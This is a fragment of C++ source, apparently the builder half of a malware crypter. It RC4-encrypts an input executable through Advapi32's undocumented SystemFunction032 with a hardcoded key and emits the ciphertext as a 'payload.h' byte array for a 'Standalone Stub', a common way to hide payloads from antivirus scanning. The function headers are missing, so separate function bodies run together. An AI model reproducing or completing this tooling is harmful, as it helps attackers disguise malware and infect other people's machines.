HMODULE hAdvapi = LoadLibraryA("Advapi32.dll");

if (!hAdvapi) return FALSE;

_SystemFunction032 SystemFunction032 = (_SystemFunction032)GetProcAddress(hAdvapi, "SystemFunction032");

if (!SystemFunction032) return FALSE;

USTRING uData = { (DWORD)data.size(), (DWORD)data.size(), data.data() };

USTRING uKey = { (DWORD)key.size(), (DWORD)key.size(), key.data() };

return SystemFunction032(&uData, &uKey) == 0;

if (argc < 2) {

printf("Usage: %s <input_binary.exe>\n", argv[0]);

return 1;

}

// 1. Read input binary

FILE* f = fopen(argv[1], "rb");

fseek(f, 0, SEEK_END);

long size = ftell(f);

fseek(f, 0, SEEK_SET);

std::vector<unsigned char> buffer(size);

fread(buffer.data(), 1, size, f);

fclose(f);

// 2. Define encryption key

std::vector<unsigned char> key = { 'S', 'e', 'c', 'r', 'e', 't', 'K', 'e', 'y', '1', '2', '3' };

// 3. Encrypt the binary

if (!EncryptData(buffer, key)) {

printf("Encryption failed!\n");

return 1;

}

// 4. Output as a C++ header for your Standalone Stub

FILE* out = fopen("payload.h", "w");

fprintf(out, "unsigned char encrypted_payload[] = { ");

for (size_t i = 0; i < buffer.size(); i++) {

fprintf(out, "0x%02x%s", buffer[i], (i == buffer.size() - 1) ? "" : ", ");

if (i % 12 == 11) fprintf(out, "\n ");

}

fprintf(out, " };\nunsigned int payload_len = %d;\n", (int)buffer.size());

fclose(out);

printf("Done! Encrypted payload saved to 'payload.h'.\n");

return 0;